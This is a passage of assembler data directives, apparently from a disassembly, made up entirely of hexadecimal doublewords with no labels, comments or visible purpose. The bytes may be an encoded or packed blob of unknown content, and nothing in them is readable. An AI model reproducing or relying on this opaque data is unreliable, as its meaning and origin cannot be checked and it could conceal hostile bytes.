819F07C1h, 615E409Eh, 0C89AE15Ah dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 8F208E87h, 40014F80h dd 4CEE4D8Dh, 88C4138h, 0B84C144h, 0B1814085h, 8747C087h dd 864146CEh, 42678247h, 831C4380h, 0C19C003Dh, 38EC6681h dd 7C07A8DBh, 0E389520Fh, 9CFCE410h, 0C158388Bh, 104359Dh dd 899D505Dh, 0DFA03016h, 0C21E927Ch, 204099B2h, 904210Ah dd 5F531D0Eh, 0A20FC0C8h, 36E0882Ch, 5B013B18h, 5ADC3Eh dd 0C8E36E59h, 410EA582h, 3446161Dh, 3E0EACD8h, 3EE42h dd 2FE83D73h, 0A32827FEh, 7EAFEA16h, 0BAD91Fh, 76D9C716h dd 31EC13h, 1422C3EEh, 0C80C2038h, 16EE8C98h, 0B3E41000h dd 0F4154CF0h, 30F64Bh, 0A101B247h, 0E8217061h, 6E1BBB1Eh dd 0D63A9680h, 63CF2Ch dd 56FF3083h, 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh dd 0D060EEC6h, 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h dd 30AC0B0Ch, 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h dd 7503C8FEh, 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h dd 0FF9C181Fh, 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h dd 25447EF0h, 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh dd 0CCD000D5h, 3B67AC55h, 0A6007306h, 16C60FFh, 0E6E82B70h dd 467B00D0h, 570CF8C9h, 72075002h, 8DB38615h, 6FE82730h dd 0EA42588Fh, 65315700h, 0DB85D873h, 110076FCh, 0D13BCC5Eh dd 2ED25274h, 0E77D6h, 758D5713h, 0EB0002AEh, 1904B998h dd 95F95Fh, 6A7A1E46h, 0AE1F42B0h, 3D01C978h, 47CB80DFh dd 76D0A201h, 2516001Dh, 0C0FEB005h, 8C0E5567h, 0C0AA9854h dd 5A38CAE9h, 8B28031Dh, 0D3CCA396h, 29A9B388h, 80EC0C39h dd 1E202E6Dh, 0E8D5F8h, 99FFD271h, 88B83B75h, 50EAC702h dd 0E37E5FFEh, 42588802h, 0BD41006Ch, 2A3D7145h, 200DEE2h dd 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h, 40C3D500h, 0C28104FFh dd 0D7720095h, 0F8F1341Bh, 0AF00A438h, 0D339D05Bh, 7F9475C1h dd 4D2E0390h, 5C258908h, 71F246F0h, 0A5F34B00h, 0CE398E91h dd 112E00C1h, 82F7CAABh, 0C3008130h, 65C9C455h, 0EF039F1h dd 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h, 5071025h, 6F4AC15Ch dd 3A144143h, 0F01EBACAh, 18A886F7h, 0B33C4E82h, 1C0374A5h dd 0AC25AE12h, 2063C72Eh, 0A4102005h, 950F24EEh, 0FD299D71h dd 0AB042800h, 0FF4B9689h, 0C89BEF71h, 30B3718Fh, 10878021h dd 52801E34h, 938013Ah, 97791257h, 0F3C10E0h, 9472B84Ah dd 0DE041DFDh, 8A6A0005h, 0FA9553F2h, 448C64DEh, 1F22A618h dd 8FA5F163h, 9C362F9h, 92072C11h, 0A9F35C88h, 0E858FBD3h dd 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h, 2305EAF3h dd 47914EDAh, 40443C20h, 0CA106141h, 86164839h, 524A1CEh dd 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh, 0E9880534h dd 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h, 0C901FF64h dd 90E04D09h, 33F200F7h, 0F350F172h, 84000469h, 0B22A2041h dd 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh, 6B002812h dd 38201042h, 0D6591F95h, 0A1880336h, 13B01757h, 0CA7EAC4Ah dd 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh, 2C2864FEh dd 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h, 18598832h dd 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h, 0C83CFE68h dd 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h, 0C1F15ECAh dd 708806A1h, 3A3D56ABh, 313F46h, 165BF362h, 1E7F740Ah dd 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h, 0F2D4D324h dd 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh, 8921BDAFh dd 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h, 0C43E2B7Fh dd 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah, 7F2E148h dd 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h, 91FC5EA8h dd 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h, 500C56E0h dd 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h, 0DCEE0044h dd 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h, 741CD9Eh dd 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h, 4002D907h dd 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah, 83A52E4Fh dd 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h, 44470399h dd 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h, 647585h dd 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh, 47CCEC40h dd 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h, 95D300BCh dd 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h, 0F7F8F070h dd 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h, 0FE081380h dd 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch, 6445A88Bh dd 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h, 5D277005h dd 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h, 1C071B12h dd 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh, 0F7D51A2h dd 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h, 4FA9A276h dd 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h, 5E005B2Fh dd 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h, 0F18CC8C0h dd 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h, 0E4F49A52h dd 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h, 948F00ACh dd 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h dd 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h dd 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh dd 1A961130h, 41D24124h, 3DA5C100h, 7F349455h, 36640043h dd 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h dd 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh dd 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah dd 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah dd 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h dd 750B7800h, 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h dd 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h dd 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh dd 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h dd 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch dd 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh dd 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h dd 85890147h, 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h dd 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h dd 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h dd 44B820h, 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h dd 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah dd 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h dd 440099A0h, 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h dd 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah dd 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h dd 4CC75700h dd 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah dd 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch, 705C9D64h dd 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh dd 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh, 7F084106h dd 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h, 2D4C6A30h dd 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h, 80B91E80h dd 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh, 2C6EE000h dd 8C046865h, 43C43EB5h, 20748680h, 80401C93h, 758D3803h dd 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h, 55B39296h dd 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh, 0DE973E16h dd 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h, 0C9E7A06Fh dd 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch, 0BD47B85Bh dd 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h, 65768072h dd 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h, 1D7CA13Bh dd 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h, 100009BFh dd 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah, 0E9870CBEh dd 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh, 755A00F3h dd 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h, 336F42h dd 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h, 17122211h dd 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h, 3EF708BAh dd 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h, 50E46E53h dd 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh, 0E10A300h dd 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h, 3A3901F2h dd 0E758250h, 41020742h, 78E95303h, 1CCBC4h, 522249FFh dd 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h, 88E0C733h dd 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h, 9A72F9B5h dd 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh, 58633F23h dd 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah, 0B0EA4C39h dd 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h, 0C55880D6h dd 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h, 54A3022Dh dd 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch, 440C2A20h dd 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh, 1500E8F4h dd 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h, 74D80100h dd 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh, 7300CBDAh dd 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h, 54B98Dh dd 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h, 70816641h dd 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h, 0F8FA80h dd 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h, 0EE475DDBh dd 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh, 1418F51Bh dd 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah, 3E797769h dd 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh, 0EA72A5EBh dd 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h, 458C3C00h dd 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h, 3A77EF56h dd 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh, 75623000h dd 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh, 0B9A9E7A7h dd 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h, 95380C9h dd 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh, 0C958F631h dd 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h, 0DF8DD284h dd 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h, 3C203B11h dd 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h, 3519010h dd 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h, 93893200h dd 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h, 97920400h dd 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h, 0D43B060Eh dd 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h, 9149E534h dd 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h, 7C8848A5h dd 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h, 0A8C35B40h dd 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h, 4BBF4F0Ah dd 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh, 27902023h dd 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h, 0D3445E9Fh dd 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h, 3B558F8h dd 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h, 0C174D0D2h dd 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah, 9D0088F1h dd 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h, 0EFD6934Eh dd 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh, 9109B5h dd 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh, 0CA2C4128h dd 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch, 0D0FB5FEFh dd 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h, 56D0B614h dd 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h, 81615E4Ch dd 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh, 0B1E40074h dd 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h, 8B414C87h dd 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h, 60890C24h dd 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh, 0BA37DCD2h dd 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh, 402BACCEh dd 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h, 913BA40h dd 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh, 897F4801h dd 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h, 3E92042Ch dd 3B66A080h, 7127506h, 76C98500h, 45BE8B20h, 0EEFC2C5Dh dd 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h, 355449h, 41CE751Bh dd 8289AC08h, 0EAA4F800h, 4790C362h, 142D00DCh, 3EE091FBh dd 1500EE21h, 0EC2906C0h, 0F01F84h, 1DC8BD4Ch, 0FC485FB9h dd 0EFE06B02h, 0F58E412Dh, 344F9B40h, 0D029EDF5h, 0C50079B7h dd 4ACCBD43h, 4FB67h, 0A0380C4h, 8B87558Dh, 351DD77Dh dd 49001EB5h, 1AB940C6h, 19FA00C4h, 1624DEC0h, 0B100DF77h dd 9B7A8528h, 70CAA1Dh, 899E2099h, 1A7FB0FBh, 24008E01h dd 7027CA11h, 0FCDFF045h, 320D0598h, 802EE2E9h, 9B89110Fh dd 50003E71h, 25F5E86Fh, 1A6DC9h, 2DAF884Ah, 0BD830685h dd 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch, 7500F25Dh, 43C61611h dd 28FB05h, 0C134E94Ah, 0A282701Dh, 1C8E9507h, 857214C0h dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h, 699D7F9h dd 87578580h, 30871C2h, 0A2B45005h, 604C6A8Eh, 4DE82C66h dd 49271B00h, 0C0223Dh, 0BAE12A76h, 0AA922E38h, 7B430700h dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h dd 6C7002Ch dd 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh, 4330093h dd 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h, 116500A5h dd 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h dd 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h, 1FBAE619h dd 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h, 92B6E74Fh dd 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h dd 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h, 0E4008AF4h dd 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh dd 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh dd 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h, 80744965h dd 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h dd 29604276h, 5245CC6h, 55455900h, 0EB3125B2h, 93AF00CAh dd 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch, 9A0A0078h dd 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h dd 9B64C883h, 71BF1800h, 17514794h, 93F20052h, 31D0811Fh dd 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h dd 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh, 9451A25Ch dd 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h, 95F00A9Eh dd 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h dd 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h, 0C7D8051h dd 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h, 0E224D455h dd 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h, 0D800912Eh dd 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h, 0FAEBFC4h dd 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h, 0F8573ECEh dd 54964h, 0B814922Ah, 6741526h, 5869A703h, 0D8D1D7C2h dd 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h, 48A05D3Dh dd 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h, 304AC7C3h dd 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh, 2E467588h dd 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh, 730BEE89h dd 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h, 5B7046FBh dd 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh, 0FF21CC43h dd 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h, 0EB2AC154h dd 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h, 2C413249h dd 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh, 3300A0FCh dd 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h, 0DB040801h dd 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h, 13001109h dd 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h, 0D5721571h dd 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h, 338C8004h dd 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h, 0E27B7880h dd 0B055500h, 22CA2EBAh, 60570044h, 4B011029h, 2801FA5Fh dd 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh, 9100187Ah dd 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h, 83762AE4h dd 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h, 1CAFE4DDh dd 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h, 0FE6A24B2h dd 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h, 0AF49741Fh dd 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h, 7F000D7Eh dd 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh, 32003BD9h dd 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h, 2D9935EBh dd 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh, 0C2D80088h dd 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh, 996625A7h dd 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh, 0D8C26938h dd 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h, 519ACAA1h dd 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh, 34CE0095h dd 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh, 0EA310066h dd 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh, 70FEF684h dd 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh, 0A54261A6h dd 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h, 8D092280h dd 89A59644h, 6610B900h, 148EBB8h, 55500018h, 0C395CCCFh dd 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h, 0F312C879h dd 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h, 234D836Dh dd 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h, 74EB0D3h dd 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h, 0F2088AECh dd 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh, 4E776905h dd 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h, 0A6C81DE0h dd 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h, 0E801E074h dd 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h, 0B6430403h dd 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh, 745A3401h dd 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h, 303CC200h dd 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h, 1000D07Ah dd 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh, 0ED779201h dd 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch, 38302880h dd 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah, 0A200C0C7h dd 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h, 335868F2h dd 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h, 5663004h dd 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h, 6E010028h dd 91F93538h, 22009409h, 0DAC144AAh, 16EC89h, 693E552h dd 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh, 0A272F03h dd 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h, 0D3B11994h dd 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h, 0CDF15898h dd 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h, 47823B42h dd 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h, 0A62D0042h dd 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h, 0CC240764h dd 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh, 776A3A1Bh dd 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h, 0C5D90050h dd 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h, 19A30FC2h dd 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh, 6469F2h dd 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh, 0C3E33400h dd 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h dd 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h dd 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h dd 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h dd 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h dd 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh dd 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h dd 5328BF07h, 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h dd 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h, 3B004683h dd 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh dd 9A5BF8h, 1241FE5h dd 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh, 736B6FF2h dd 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h, 8503D10h dd 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h, 190A00E5h dd 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h, 796E1DA6h dd 85550303h, 2EB1215Eh, 0A580F056h, 10658100h, 29DF4131h dd 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch, 0E8842B54h dd 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh, 5F0E67EDh dd 263A62C0h, 1493008Dh, 97103644h, 0D6755420h, 0F3619801h dd 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h, 29CA5C91h dd 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h, 83C22D7Fh dd 400EBF8h, 6A762170h, 136FCA5h, 75323C48h, 0C8180C24h dd 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh, 12AFAA95h dd 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h, 0DA8006F1h dd 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h, 687130h dd 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h, 2F7400F5h dd 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh dd 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h, 7D4EA48h dd 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch, 6F5F44Bh dd 0B23A4BBh, 